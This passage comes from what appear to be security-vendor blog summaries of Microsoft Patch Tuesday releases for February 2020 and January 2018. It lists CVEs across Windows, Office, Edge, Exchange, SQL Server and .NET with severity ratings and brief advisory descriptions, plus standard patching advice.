Media Foundation Memory Corruption Vulnerability (CVE-2020-0738) MS Rating: Critical
A memory corruption vulnerability exists when Windows Media Foundation improperly handles objects in memory. An attacker who successfully exploited the vulnerability could install programs; view, change, or delete data; or create new accounts with full user rights.
Remote Desktop Client Remote Code Execution Vulnerability (CVE-2020-0734) MS Rating: Critical
A remote code execution vulnerability exists in the Windows Remote Desktop Client when a user connects to a malicious server. An attacker who successfully exploited this vulnerability could execute arbitrary code on the computer of the connecting client.
Windows Common Log File System Driver Privilege Escalation Vulnerability (CVE-2020-0657) MS Rating: Important
A privilege escalation vulnerability exists when the Windows Common Log File System (CLFS) driver improperly handles objects in memory. An attacker who successfully exploited this vulnerability could run processes in an elevated context.
Windows Common Log File System Driver Information Disclosure Vulnerability (CVE-2020-0658) MS Rating: Important
An information disclosure vulnerability exists in the Windows Common Log File System (CLFS) driver when it fails to properly handle objects in memory. An attacker who successfully exploited this vulnerability could potentially read data that was not intended to be disclosed.
Remote Desktop Services Remote Code Execution Vulnerability (CVE-2020-0655) MS Rating: Important
A remote code execution vulnerability exists in Remote Desktop Services - formerly known as Terminal Services - when an authenticated attacker abuses clipboard redirection. An attacker who successfully exploited this vulnerability could execute arbitrary code on the victim system.
Windows Data Sharing Service Privilege Escalation Vulnerability (CVE-2020-0659) MS Rating: Important
A privilege escalation vulnerability exists when the Windows Data Sharing Service improperly handles file operations. An attacker who successfully exploited this vulnerability could run processes in an elevated context.
Windows Remote Desktop Protocol (RDP) Denial of Service Vulnerability (CVE-2020-0660) MS Rating: Important
A denial of service vulnerability exists in Remote Desktop Protocol (RDP) when an attacker connects to the target system using RDP and sends specially crafted requests. An attacker who successfully exploited this vulnerability could cause the RDP service on the target system to stop responding.
Active Directory Privilege Escalation Vulnerability (CVE-2020-0665) MS Rating: Important
A privilege escalation vulnerability exists in Active Directory Forest trusts due to a default setting that lets an attacker in the trusting forest request delegation of a TGT for an identity from the trusted forest. To exploit this vulnerability, an attacker would first need to compromise an Active Directory forest.
Windows Search Indexer Privilege Escalation Vulnerability (CVE-2020-0666) MS Rating: Important
A privilege escalation vulnerability exists in the way that the Windows Search Indexer handles objects in memory. An attacker who successfully exploited the vulnerability could execute code with elevated permissions.
Windows Search Indexer Privilege Escalation Vulnerability (CVE-2020-0667) MS Rating: Important
A privilege escalation vulnerability exists in the way that the Windows Search Indexer handles objects in memory. An attacker who successfully exploited the vulnerability could execute code with elevated permissions.
Windows Key Isolation Service Information Disclosure Vulnerability (CVE-2020-0675) MS Rating: Important
An information disclosure vulnerability exists in the Cryptography Next Generation (CNG) service when it fails to properly handle objects in memory. To exploit this vulnerability, an attacker would have to log on to an affected system and run a specially crafted application.
Windows Key Isolation Service Information Disclosure Vulnerability (CVE-2020-0676) MS Rating: Important
An information disclosure vulnerability exists in the Cryptography Next Generation (CNG) service when it fails to properly handle objects in memory. To exploit this vulnerability, an attacker would have to log on to an affected system and run a specially crafted application.
Windows Key Isolation Service Information Disclosure Vulnerability (CVE-2020-0677) MS Rating: Important
An information disclosure vulnerability exists in the Cryptography Next Generation (CNG) service when it fails to properly handle objects in memory. To exploit this vulnerability, an attacker would have to log on to an affected system and run a specially crafted application.
Windows Error Reporting Manager Privilege Escalation Vulnerability (CVE-2020-0678) MS Rating: Important
A privilege escalation vulnerability exists when Windows Error Reporting manager improperly handles hard links. An attacker who successfully exploited this vulnerability could overwrite a targeted file leading to an elevated status.
Windows Function Discovery Service Privilege Escalation Vulnerability (CVE-2020-0679) MS Rating: Important
A privilege escalation vulnerability exists in the way that the Windows Function Discovery Service handles objects in memory. An attacker who successfully exploited the vulnerability could execute code with elevated permissions.
Windows Function Discovery Service Privilege Escalation Vulnerability (CVE-2020-0680) MS Rating: Important
A privilege escalation vulnerability exists in the way that the Windows Function Discovery Service handles objects in memory. An attacker who successfully exploited the vulnerability could execute code with elevated permissions.
Windows Function Discovery Service Privilege Escalation Vulnerability (CVE-2020-0682) MS Rating: Important
A privilege escalation vulnerability exists in the way that the Windows Function Discovery Service handles objects in memory. An attacker who successfully exploited the vulnerability could execute code with elevated permissions.
Windows Installer Privilege Escalation Vulnerability (CVE-2020-0683) MS Rating: Important
A privilege escalation vulnerability exists in the Windows Installer when MSI packages process symbolic links. An attacker who successfully exploited this vulnerability could bypass access restrictions to add or remove files.
Windows COM Server Privilege Escalation Vulnerability (CVE-2020-0685) MS Rating: Important
A privilege escalation vulnerability exists when Windows improperly handles COM object creation. An attacker who successfully exploited the vulnerability could run arbitrary code with elevated privileges.
Windows Installer Privilege Escalation Vulnerability (CVE-2020-0686) MS Rating: Important
A privilege escalation vulnerability exists in the Windows Installer when MSI packages process symbolic links. An attacker who successfully exploited this vulnerability could bypass access restrictions to add or remove files.
Microsoft Secure Boot Security Bypass Vulnerability (CVE-2020-0689) MS Rating: Important
A security bypass vulnerability exists in secure boot. An attacker who successfully exploited the vulnerability can bypass secure boot and load untrusted software.
Windows Information Disclosure Vulnerability (CVE-2020-0698) MS Rating: Important
An information disclosure vulnerability exists when the Telephony Service improperly discloses the contents of its memory. An attacker who successfully exploited the vulnerability could obtain information to further compromise a user's system.
Windows Client License Service Privilege Escalation Vulnerability (CVE-2020-0701) MS Rating: Important
A privilege escalation vulnerability exists in the way that the Windows Client License Service (ClipSVC) handles objects in memory. An attacker who successfully exploited the vulnerability could execute code with elevated permissions.
Surface Hub Security Bypass Vulnerability (CVE-2020-0702) MS Rating: Important
A security bypass vulnerability exists in Surface Hub when prompting for credentials. Successful exploitation of the vulnerability could allow an attacker to access settings which are restricted to Administrators.
Windows Backup Service Privilege Escalation Vulnerability (CVE-2020-0703) MS Rating: Important
A privilege escalation vulnerability exists when the Windows Backup Service improperly handles file operations. To exploit this vulnerability, an attacker would first have to gain execution on the victim system.
Windows Wireless Network Manager Privilege Escalation Vulnerability (CVE-2020-0704) MS Rating: Important
A privilege escalation vulnerability exists when the Windows Wireless Network Manager improperly handles memory. To exploit this vulnerability, an attacker would first have to gain execution on the victim system.
Windows Network Driver Interface Specification (NDIS) Information Disclosure Vulnerability (CVE-2020-0705) MS Rating: Important
An information disclosure vulnerability exists when the Windows Network Driver Interface Specification (NDIS) improperly handles memory. To exploit this vulnerability, an attacker would first have to gain execution on the victim system.
Windows IME Privilege Escalation Vulnerability (CVE-2020-0707) MS Rating: Important
A privilege escalation vulnerability exists when the Windows IME improperly handles memory. To exploit this vulnerability, an attacker would first have to gain execution on the victim system.
Windows Imaging Library Remote Code Execution Vulnerability (CVE-2020-0708) MS Rating: Important
A remote code execution vulnerability exists when the Windows Imaging Library improperly handles memory. To exploit this vulnerability, an attacker would first have to coerce a victim to open a specially crafted file.
DirectX Privilege Escalation Vulnerability (CVE-2020-0709) MS Rating: Important
A privilege escalation vulnerability exists when DirectX improperly handles objects in memory. An attacker who successfully exploited this vulnerability could run arbitrary code in kernel mode.
DirectX Information Disclosure Vulnerability (CVE-2020-0714) MS Rating: Important
An information disclosure vulnerability exists when DirectX improperly handles objects in memory. An attacker who successfully exploited this vulnerability could obtain information to further compromise the user's system.
Windows Diagnostics Tracking Service Privilege Escalation Vulnerability (CVE-2020-0727) MS Rating: Important
A privilege escalation vulnerability exists when the Connected User Experiences and Telemetry Service improperly handles file operations. An attacker who successfully exploited this vulnerability could gain elevated privileges on the victim system.
Windows Modules Installer Service Information Disclosure Vulnerability (CVE-2020-0728) MS Rating: Important
An information vulnerability exists when Windows Modules Installer Service improperly discloses file information. Successful exploitation of the vulnerability could allow the attacker to read any file on the file system.
Windows User Profile Service Privilege Escalation Vulnerability (CVE-2020-0730) MS Rating: Important
A privilege escalation vulnerability exists when the Windows User Profile Service (ProfSvc) improperly handles symlinks. An attacker who successfully exploited this vulnerability could delete files and folders in an elevated context.
DirectX Privilege Escalation Vulnerability (CVE-2020-0732) MS Rating: Important
A privilege escalation vulnerability exists when DirectX improperly handles objects in memory. An attacker who successfully exploited this vulnerability could run arbitrary code in kernel mode.
Windows Malicious Software Removal Tool Privilege Escalation Vulnerability (CVE-2020-0733) MS Rating: Important
A privilege escalation vulnerability exists when the Windows Malicious Software Removal Tool (MSRT) improperly handles junctions. To exploit this vulnerability, an attacker would first have to gain execution on the victim system.
Windows Search Indexer Privilege Escalation Vulnerability (CVE-2020-0735) MS Rating: Important
A privilege escalation vulnerability exists in the way that the Windows Search Indexer handles objects in memory. An attacker who successfully exploited the vulnerability could execute code with elevated permissions.
Windows Privilege Escalation Vulnerability (CVE-2020-0737) MS Rating: Important
A privilege escalation vulnerability exists in the way that the tapisrv. dll handles objects in memory.
Windows Privilege Escalation Vulnerability (CVE-2020-0739) MS Rating: Important
A privilege escalation vulnerability exists in the way that the dssvc. dll handles file creation allowing for a file overwrite or creation in a secured location.
Windows Privilege Escalation Vulnerability (CVE-2020-0740) MS Rating: Important
A privilege escalation vulnerability exists in the way that the Connected Devices Platform Service handles objects in memory. An attacker who successfully exploited the vulnerability could execute code with elevated permissions.
Windows Privilege Escalation Vulnerability (CVE-2020-0741) MS Rating: Important
A privilege escalation vulnerability exists in the way that the Connected Devices Platform Service handles objects in memory. An attacker who successfully exploited the vulnerability could execute code with elevated permissions.
Windows Privilege Escalation Vulnerability (CVE-2020-0742) MS Rating: Important
A privilege escalation vulnerability exists in the way that the Connected Devices Platform Service handles objects in memory. An attacker who successfully exploited the vulnerability could execute code with elevated permissions.
Windows Privilege Escalation Vulnerability (CVE-2020-0743) MS Rating: Important
A privilege escalation vulnerability exists in the way that the Connected Devices Platform Service handles objects in memory. An attacker who successfully exploited the vulnerability could execute code with elevated permissions.
Windows Data Sharing Service Privilege Escalation Vulnerability (CVE-2020-0747) MS Rating: Important
A privilege escalation vulnerability exists when the Windows Data Sharing Service improperly handles file operations. An attacker who successfully exploited this vulnerability could run processes in an elevated context.
Windows Key Isolation Service Information Disclosure Vulnerability (CVE-2020-0748) MS Rating: Important
An information disclosure vulnerability exists in the Cryptography Next Generation (CNG) service when it fails to properly handle objects in memory. To exploit this vulnerability, an attacker would have to log on to an affected system and run a specially crafted application.
Connected Devices Platform Service Elevation of Privilege Vulnerability (CVE-2020-0749) MS Rating: Important
An elevation of privilege vulnerability exists in the way that the Connected Devices Platform Service handles objects in memory. An attacker who successfully exploited the vulnerability could execute code with elevated permissions.
Connected Devices Platform Service Elevation of Privilege Vulnerability (CVE-2020-0750) MS Rating: Important
An elevation of privilege vulnerability exists in the way that the Connected Devices Platform Service handles objects in memory. An attacker who successfully exploited the vulnerability could execute code with elevated permissions.
Windows Search Indexer Privilege Escalation Vulnerability (CVE-2020-0752) MS Rating: Important
A privilege escalation vulnerability exists in the way that the Windows Search Indexer handles objects in memory. An attacker who successfully exploited the vulnerability could execute code with elevated permissions.
Windows Error Reporting Privilege Escalation Vulnerability (CVE-2020-0753) MS Rating: Important
A privilege escalation vulnerability exists in Windows Error Reporting (WER) when WER handles and executes files. The vulnerability could allow Privilege Escalation if an attacker can successfully exploit it.
Windows Error Reporting Privilege Escalation Vulnerability (CVE-2020-0754) MS Rating: Important
A privilege escalation vulnerability exists in Windows Error Reporting (WER) when WER handles and executes files. The vulnerability could allow Privilege Escalation if an attacker can successfully exploit it.
Windows Key Isolation Service Information Disclosure Vulnerability (CVE-2020-0755) MS Rating: Important
An information disclosure vulnerability exists in the Cryptography Next Generation (CNG) service when it fails to properly handle objects in memory. To exploit this vulnerability, an attacker would have to log on to an affected system and run a specially crafted application.
Windows Key Isolation Service Information Disclosure Vulnerability (CVE-2020-0756) MS Rating: Important
An information disclosure vulnerability exists in the Cryptography Next Generation (CNG) service when it fails to properly handle objects in memory. To exploit this vulnerability, an attacker would have to log on to an affected system and run a specially crafted application.
Windows SSH Elevation of Privilege Vulnerability (CVE-2020-0757) MS Rating: Important
An elevation of privilege vulnerability exists when Windows improperly handles Secure Socket Shell remote commands. An attacker who successfully exploited the vulnerability could run arbitrary code with elevated privileges.
Cumulative Security Updates for Microsoft Windows Kernel
Windows Kernel Privilege Escalation Vulnerability (CVE-2020-0668) MS Rating: Important
A privilege escalation vulnerability exists in the way that the Windows Kernel handles objects in memory. An attacker who successfully exploited the vulnerability could execute code with elevated permissions.
Windows Kernel Privilege Escalation Vulnerability (CVE-2020-0669) MS Rating: Important
A privilege escalation vulnerability exists in the way that the Windows Kernel handles objects in memory. An attacker who successfully exploited the vulnerability could execute code with elevated permissions.
Windows Kernel Privilege Escalation Vulnerability (CVE-2020-0670) MS Rating: Important
A privilege escalation vulnerability exists when the Windows kernel fails to properly handle objects in memory. An attacker who successfully exploited this vulnerability could run arbitrary code in kernel mode.
Windows Kernel Privilege Escalation Vulnerability (CVE-2020-0671) MS Rating: Important
A privilege escalation vulnerability exists when the Windows kernel fails to properly handle objects in memory. An attacker who successfully exploited this vulnerability could run arbitrary code in kernel mode.
Windows Kernel Privilege Escalation Vulnerability (CVE-2020-0672) MS Rating: Important
A privilege escalation vulnerability exists when the Windows kernel fails to properly handle objects in memory. An attacker who successfully exploited this vulnerability could run arbitrary code in kernel mode.
Win32k Privilege Escalation Vulnerability (CVE-2020-0691) MS Rating: Important
A privilege escalation vulnerability exists in Windows when the Windows kernel-mode driver fails to properly handle objects in memory. An attacker who successfully exploited this vulnerability could run arbitrary code in kernel mode.
Win32k Information Disclosure Vulnerability (CVE-2020-0716) MS Rating: Important
An information disclosure vulnerability exists when the win32k component improperly provides kernel information. An attacker who successfully exploited the vulnerability could obtain information to further compromise the user's system.
Win32k Information Disclosure Vulnerability (CVE-2020-0717) MS Rating: Important
An information disclosure vulnerability exists when the win32k component improperly provides kernel information. An attacker who successfully exploited the vulnerability could obtain information to further compromise the user's system.
Win32k Privilege Escalation Vulnerability (CVE-2020-0719) MS Rating: Important
A privilege escalation vulnerability exists in Windows when the Win32k component fails to properly handle objects in memory. An attacker who successfully exploited this vulnerability could run arbitrary code in kernel mode.
Win32k Privilege Escalation Vulnerability (CVE-2020-0720) MS Rating: Important
A privilege escalation vulnerability exists in Windows when the Win32k component fails to properly handle objects in memory. An attacker who successfully exploited this vulnerability could run arbitrary code in kernel mode.
Win32k Privilege Escalation Vulnerability (CVE-2020-0721) MS Rating: Important
A privilege escalation vulnerability exists in Windows when the Win32k component fails to properly handle objects in memory. An attacker who successfully exploited this vulnerability could run arbitrary code in kernel mode.
Win32k Privilege Escalation Vulnerability (CVE-2020-0722) MS Rating: Important
A privilege escalation vulnerability exists in Windows when the Win32k component fails to properly handle objects in memory. An attacker who successfully exploited this vulnerability could run arbitrary code in kernel mode.
Win32k Privilege Escalation Vulnerability (CVE-2020-0723) MS Rating: Important
A privilege escalation vulnerability exists in Windows when the Win32k component fails to properly handle objects in memory. An attacker who successfully exploited this vulnerability could run arbitrary code in kernel mode.
Win32k Privilege Escalation Vulnerability (CVE-2020-0724) MS Rating: Important
A privilege escalation vulnerability exists in Windows when the Win32k component fails to properly handle objects in memory. An attacker who successfully exploited this vulnerability could run arbitrary code in kernel mode.
Win32k Privilege Escalation Vulnerability (CVE-2020-0725) MS Rating: Important
A privilege escalation vulnerability exists in Windows when the Win32k component fails to properly handle objects in memory. An attacker who successfully exploited this vulnerability could run arbitrary code in kernel mode.
Win32k Privilege Escalation Vulnerability (CVE-2020-0726) MS Rating: Important
A privilege escalation vulnerability exists in Windows when the Win32k component fails to properly handle objects in memory. An attacker who successfully exploited this vulnerability could run arbitrary code in kernel mode.
Win32k Privilege Escalation Vulnerability (CVE-2020-0731) MS Rating: Important
A privilege escalation vulnerability exists in Windows when the Win32k component fails to properly handle objects in memory. An attacker who successfully exploited this vulnerability could run arbitrary code in kernel mode.
Windows Kernel Information Disclosure Vulnerability (CVE-2020-0736) MS Rating: Important
An information disclosure vulnerability exists when the Windows kernel improperly handles objects in memory. An attacker who successfully exploited this vulnerability could obtain information to further compromise the user's system.
Cumulative Security Updates for Windows Hyper-V
Windows Hyper-V Denial of Service Vulnerability (CVE-2020-0661) MS Rating: Important
A denial of service vulnerability exists when Microsoft Hyper-V on a host server fails to properly validate input from a privileged user on a guest operating system. To exploit the vulnerability, an attacker who already has a privileged account on a guest operating system, running as a virtual machine, could run a specially crafted application that causes a host machine to crash.
Windows Hyper-V Denial of Service Vulnerability (CVE-2020-0751) MS Rating: Important
A denial of service vulnerability exists when Microsoft Hyper-V on a host server fails to properly validate specific malicious data from a user on a guest operating system. To exploit the vulnerability, an attacker who already has a privileged account on a guest operating system, running as a virtual machine, could run a specially crafted application.
Cumulative Security Updates for Microsoft Graphics Component
Windows Graphics Component Privilege Escalation Vulnerability (CVE-2020-0715) MS Rating: Important
A privilege escalation vulnerability exists when the Windows Graphics Component improperly handles objects in memory. An attacker who successfully exploited this vulnerability could run processes in an elevated context.
Windows GDI Information Disclosure Vulnerability (CVE-2020-0744) MS Rating: Important
An information disclosure vulnerability exists in the way that the Windows Graphics Device Interface (GDI) handles objects in memory, allowing an attacker to retrieve information from a targeted system. By itself, the information disclosure does not allow arbitrary code execution; however, it could allow arbitrary code to be run if the attacker uses it in combination with another vulnerability.
Windows Graphics Component Privilege Escalation Vulnerability (CVE-2020-0745) MS Rating: Important
A privilege escalation vulnerability exists when the Windows Graphics Component improperly handles objects in memory. An attacker who successfully exploited this vulnerability could run processes in an elevated context.
Microsoft Graphics Components Information Disclosure Vulnerability (CVE-2020-0746) MS Rating: Important
An information disclosure vulnerability exists in the way that Microsoft Graphics Components handle objects in memory. An attacker who successfully exploited the vulnerability could obtain information that could be useful for further exploitation.
Windows Graphics Component Elevation of Privilege Vulnerability (CVE-2020-0792) MS Rating: Important
An elevation of privilege vulnerability exists when the Windows Graphics Component improperly handles objects in memory. An attacker who successfully exploited this vulnerability could run processes in an elevated context.
Cumulative Security Updates for Microsoft Exchange Server
Microsoft Exchange Memory Corruption Vulnerability (CVE-2020-0688) MS Rating: Important
A remote code execution vulnerability exists in Microsoft Exchange software when the software fails to properly handle objects in memory. An attacker who successfully exploited the vulnerability could run arbitrary code in the context of the System user.
Microsoft Exchange Server Privilege Escalation Vulnerability (CVE-2020-0692) MS Rating: Important
A privilege escalation vulnerability exists in Microsoft Exchange Server. An attacker who successfully exploited this vulnerability could gain the same rights as any other user of the Exchange server.
Security Update for SQL Server
Microsoft SQL Server Reporting Services Remote Code Execution Vulnerability (CVE-2020-0618) MS Rating: Important
A remote code execution vulnerability exists in Microsoft SQL Server Reporting Services when it incorrectly handles page requests. An attacker who successfully exploited this vulnerability could execute code in the context of the Report Server service account.
More information is available on Symantec's free Security Center portal and to our customers through the DeepSight Threat Management System.
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Microsoft Patch Tuesday – January 2018
This month the vendor has patched 59 vulnerabilities, 17 of which are rated Critical.
Hello, welcome to this month's blog on the Microsoft patch release. This month the vendor has patched 59 vulnerabilities, 17 of which are rated Critical. Please note 33 CVEs were released out-of-band on January 3, 2018.
As always, customers are advised to follow these security best practices:
Install vendor patches as soon as they are available.
Run all software with the least privileges required while still maintaining functionality.
Avoid handling files from unknown or questionable sources.
Never visit sites of unknown or questionable integrity.
Block external access at the network perimeter to all key systems unless specific access is required.
Microsoft's summary of the January 2018 releases can be found here:
https://portal.msrc.microsoft.com/en-us/security-guidance
This month's update covers vulnerabilities in:
Internet Explorer
Microsoft Edge
Microsoft Windows
Microsoft Office
SQL Server
ChakraCore
.NET Framework
.NET Core
ASP.NET Core
The following is a breakdown of the issues being addressed this month:
Cumulative Security Update for CPU Microcode
Vulnerability in CPU Microcode Could Allow Information Disclosure (CVE-2017-5715) MS Rating: Important
A security vulnerability referred to as 'speculative execution side-channel attacks' affect many modern processors and operating systems including Intel, AMD, and ARM.
Vulnerability in CPU Microcode Could Allow Information Disclosure (CVE-2017-5753) MS Rating: Important
A security vulnerability referred to as 'speculative execution side-channel attacks' affect many modern processors and operating systems including Intel, AMD, and ARM.
Vulnerability in CPU Microcode Could Allow Information Disclosure (CVE-2017-5754) MS Rating: Important
A security vulnerability referred to as 'speculative execution side-channel attacks' affect many modern processors and operating systems including Intel, AMD, and ARM.
Cumulative Security Update for Microsoft Browsers
Scripting Engine Security Feature Bypass (CVE-2018-0818) MS Rating: Important
A security feature bypass vulnerability exists in the Microsoft Chakra scripting engine that allows Control Flow Guard (CFG) to be bypassed.
Scripting Engine Information Disclosure Vulnerability (CVE-2018-0767) MS Rating: Critical
An information disclosure vulnerability exists when the scripting engine does not properly handle objects in memory in Microsoft Edge. An attacker can exploit this issue to obtain information to further compromise the user's system.
Scripting Engine Memory Corruption Vulnerability (CVE-2018-0768) MS Rating: Important
A remote code execution vulnerability exists in the way that the scripting engine handles objects in memory in Microsoft Edge. An attacker can exploit this issue to execute arbitrary code in the context of the current user.
Scripting Engine Memory Corruption Vulnerability (CVE-2018-0769) MS Rating: Critical
A remote code execution vulnerability exists in the way that the scripting engine handles objects in memory in Microsoft Edge. An attacker can exploit this issue to execute arbitrary code in the context of the current user.
Scripting Engine Memory Corruption Vulnerability (CVE-2018-0770) MS Rating: Critical
A remote code execution vulnerability exists in the way that the scripting engine handles objects in memory in Microsoft Edge. An attacker can exploit this issue to execute arbitrary code in the context of the current user.
Scripting Engine Memory Corruption Vulnerability (CVE-2018-0772) MS Rating: Critical
A remote code execution vulnerability exists in the way the scripting engine handles objects in memory in Microsoft browsers. An attacker can exploit this issue to execute arbitrary code in the context of the current user.
Scripting Engine Memory Corruption Vulnerability (CVE-2018-0773) MS Rating: Critical
A remote code execution vulnerability exists in the way that the scripting engine handles objects in memory in Microsoft Edge. An attacker can exploit this issue to execute arbitrary code in the context of the current user.
Scripting Engine Memory Corruption Vulnerability (CVE-2018-0774) MS Rating: Critical
A remote code execution vulnerability exists in the way that the scripting engine handles objects in memory in Microsoft Edge. An attacker can exploit this issue to execute arbitrary code in the context of the current user.
Scripting Engine Memory Corruption Vulnerability (CVE-2018-0775) MS Rating: Critical
A remote code execution vulnerability exists in the way that the scripting engine handles objects in memory in Microsoft Edge. An attacker can exploit this issue to execute arbitrary code in the context of the current user.
Scripting Engine Memory Corruption Vulnerability (CVE-2018-0776) MS Rating: Critical
A remote code execution vulnerability exists in the way that the scripting engine handles objects in memory in Microsoft Edge. An attacker can exploit this issue to execute arbitrary code in the context of the current user.
Scripting Engine Memory Corruption Vulnerability (CVE-2018-0777) MS Rating: Critical
A remote code execution vulnerability exists in the way that the scripting engine handles objects in memory in Microsoft Edge. An attacker can exploit this issue to execute arbitrary code in the context of the current user.
Scripting Engine Memory Corruption Vulnerability (CVE-2018-0778) MS Rating: Critical
A remote code execution vulnerability exists in the way that the scripting engine handles objects in memory in Microsoft Edge. An attacker can exploit this issue to execute arbitrary code in the context of the current user.
Scripting Engine Information Disclosure Vulnerability (CVE-2018-0780) MS Rating: Critical
An information disclosure vulnerability exists when the scripting engine does not properly handle objects in memory in Microsoft Edge. An attacker can exploit this issue to obtain information to further compromise the user's system.
Scripting Engine Memory Corruption Vulnerability (CVE-2018-0781) MS Rating: Critical
A remote code execution vulnerability exists in the way that the scripting engine handles objects in memory in Microsoft Edge. An attacker can exploit this issue to execute arbitrary code in the context of the current user.
Scripting Engine Information Disclosure Vulnerability (CVE-2018-0800) MS Rating: Critical
An information disclosure vulnerability exists when the scripting engine does not properly handle objects in memory in Microsoft Edge. An attacker can exploit this issue to obtain information to further compromise the user's system.
Scripting Engine Memory Corruption Vulnerability (CVE-2018-0758) MS Rating: Critical
A remote code execution vulnerability exists in the way that the scripting engine handles objects in memory in Microsoft Edge. An attacker can exploit this issue to execute arbitrary code in the context of the current user.
Scripting Engine Memory Corruption Vulnerability (CVE-2018-0762) MS Rating: Critical
A remote code execution vulnerability exists in the way the scripting engine handles objects in memory in Microsoft browsers. An attacker can exploit this issue to execute arbitrary code in the context of the current user.
Microsoft Edge Information Disclosure Vulnerability (CVE-2018-0766) MS Rating: Important
An information disclosure vulnerability exists when Microsoft Edge improperly handles objects in memory. An attacker can exploit this issue to obtain information to further compromise the user's system.
Microsoft Edge Elevation of Privilege Vulnerability (CVE-2018-0803) MS Rating: Important
An elevation of privilege vulnerability exists when Microsoft Edge does not properly enforce cross-domain policies. An attacker can exploit this issue to gain access to the information from one domain and inject it into another domain.
Cumulative Security Update for Microsoft Office
Microsoft SharePoint Cross Site Scripting Elevation of Privilege Vulnerability (CVE-2018-0789) MS Rating: Important
An elevation of privilege vulnerability exists when Microsoft SharePoint Server does not properly sanitize a specially crafted web request to an affected SharePoint server. An attacker can exploit this issue by sending a specially crafted request to an affected SharePoint server.
Microsoft SharePoint Cross Site Scripting Elevation of Privilege Vulnerability (CVE-2018-0790) MS Rating: Important
An elevation of privilege vulnerability exists when Microsoft SharePoint Server does not properly sanitize a specially crafted web request to an affected SharePoint server. An attacker can exploit this issue by sending a specially crafted request to an affected SharePoint server.
Microsoft Outlook Remote Code Execution Vulnerability (CVE-2018-0791) MS Rating: Important
A remote code execution vulnerability exists in the way that Microsoft Outlook parses specially crafted email messages. An attacker can exploit this issue to take control of an affected system.
Microsoft Word Remote Code Execution (CVE-2018-0792) MS Rating: Important
A remote code execution vulnerability exists in Microsoft Office software when the software fails to properly handle objects in memory. An attacker can exploit this issue to run arbitrary code in the context of the current user.
Microsoft Outlook Remote Code Execution (CVE-2018-0793) MS Rating: Important
A remote code execution vulnerability exists in the way that Microsoft Outlook parses specially crafted email messages. An attacker can exploit this issue to take control of an affected system.
Microsoft Word Remote Code Execution (CVE-2018-0794) MS Rating: Important
A remote code execution vulnerability exists in Microsoft Office software when the software fails to properly handle objects in memory. An attacker can exploit this issue to run arbitrary code in the context of the current user.
Microsoft Office Remote Code Execution (CVE-2018-0795) MS Rating: Important
A remote code execution vulnerability exists in Microsoft Office software when the software fails to properly handle objects in memory. An attacker can exploit this issue to run arbitrary code in the context of the current user.
Microsoft Excel Remote Code Execution (CVE-2018-0796) MS Rating: Important
A remote code execution vulnerability exists in Microsoft Office software when the software fails to properly handle objects in memory. An attacker can exploit this issue to run arbitrary code in the context of the current user.
Microsoft Word Memory Corruption Vulnerability (CVE-2018-0797) MS Rating: Critical
An Office RTF remote code execution vulnerability exists in Microsoft Office software when the Office software fails to properly handle RTF files. An attacker can exploit this issue to run arbitrary code in the context of the current user.
Microsoft Office Memory Corruption Vulnerability (CVE-2018-0798) MS Rating: Important
A remote code execution vulnerability exists in Microsoft Office software when the software fails to properly handle objects in memory. An attacker can exploit this issue to run arbitrary code in the context of the current user.
Microsoft Office Remote Code Execution Vulnerability (CVE-2018-0801) MS Rating: Important
A remote code execution vulnerability exists in Microsoft Office software when the software fails to properly handle objects in memory. An attacker can exploit this issue to run arbitrary code in the context of the current user.
Microsoft Office Memory Corruption Vulnerability (CVE-2018-0802) MS Rating: Important
A remote code execution vulnerability exists in Microsoft Office software when the software fails to properly handle objects in memory. An attacker can exploit this issue to run arbitrary code in the context of the current user.
Microsoft Office Memory Corruption Vulnerability (CVE-2018-0804) MS Rating: Low
A remote code execution vulnerability exists in Microsoft Office software when the software fails to properly handle objects in memory. An attacker can exploit this issue to run arbitrary code in the context of the current user.
Microsoft Office Memory Corruption Vulnerability (CVE-2018-0805) MS Rating: Important
A remote code execution vulnerability exists in Microsoft Office software when the software fails to properly handle objects in memory. An attacker can exploit this issue to run arbitrary code in the context of the current user.
Microsoft Office Memory Corruption Vulnerability (CVE-2018-0806) MS Rating: Important
A remote code execution vulnerability exists in Microsoft Office software when the software fails to properly handle objects in memory. An attacker can exploit this issue to run arbitrary code in the context of the current user.
Microsoft Office Memory Corruption Vulnerability (CVE-2018-0807) MS Rating: Important
A remote code execution vulnerability exists in Microsoft Office software when the software fails to properly handle objects in memory. An attacker can exploit this issue to run arbitrary code in the context of the current user.
Microsoft Office Memory Corruption Vulnerability (CVE-2018-0812) MS Rating: Important
A remote code execution vulnerability exists in Microsoft Office software when the software fails to properly handle objects in memory. An attacker can exploit this issue to run arbitrary code in the context of the current user.
Microsoft Office Memory Corruption Vulnerability (CVE-2018-0819) MS Rating: Important
A remote code execution vulnerability exists in Microsoft Office software when the software fails to properly handle objects in memory. An attacker can exploit this issue to run arbitrary code in the context of the current user.
Microsoft Access Tampering Vulnerability (CVE-2018-0799) MS Rating: Important
A cross-site-scripting (XSS) vulnerability exists when Microsoft Access does not properly sanitize inputs to image fields edited within Design view. An attacker can exploit this issue by sending a specially crafted file to a victim, or by hosting the file on a web server.
Cumulative Security Update for ASP.NET
ASP.NET Core Elevation Of Privilege Vulnerability (CVE-2018-0784) MS Rating: Important
An elevation of privilege vulnerability exists when the ASP.NET Core fails to properly sanitize web requests. An attacker can exploit this issue to perform content injection attacks and run script in the security context of the logged-on user.
ASP.NET Core Cross Site Request Forgery Vulnerabilty (CVE-2018-0785) MS Rating: Moderate
A Cross Site Request Forgery (CSRF) vulnerability exists when a ASP.NET Core web application is created using vulnerable project templates. An attacker can exploit this issue to change the recovery codes associated with the victim's user account without his/her consent.
Cumulative Security Update for .NET Framework
.NET Security Feature Bypass Vulnerability (CVE-2018-0786) MS Rating: Important
A security feature bypass vulnerability exists when Microsoft .NET Framework (and .NET Core) components do not completely validate certificates. An attacker can exploit this issue by presenting a certificate that is marked invalid for a specific use, but the component uses it for that purpose.
.NET and .NET Core Denial Of Service Vulnerability (CVE-2018-0764) MS Rating: Important
A Denial of Service vulnerability exists when .NET, and .NET core, improperly process XML documents. An attacker can exploit this issue to cause a denial of service against a .NET application.
Cumulative Security Update for Microsoft Windows
Microsoft Color Management Information Disclosure Vulnerability (CVE-2018-0741) MS Rating: Important
An information disclosure vulnerabilities exists in the way that the Color Management Module (ICM32.dll) handles objects in memory. An attacker can exploit this issue to retrieve information to bypass usermode ASLR (Address Space Layout Randomization) on a targeted system.
Windows Subsystem for Linux Elevation of Privilege Vulnerability (CVE-2018-0743) MS Rating: Important
An elevation of privilege vulnerability exists due to an integer overflow in Windows Subsystem for Linux. An attacker can exploit this issue to execute code with elevated permissions.
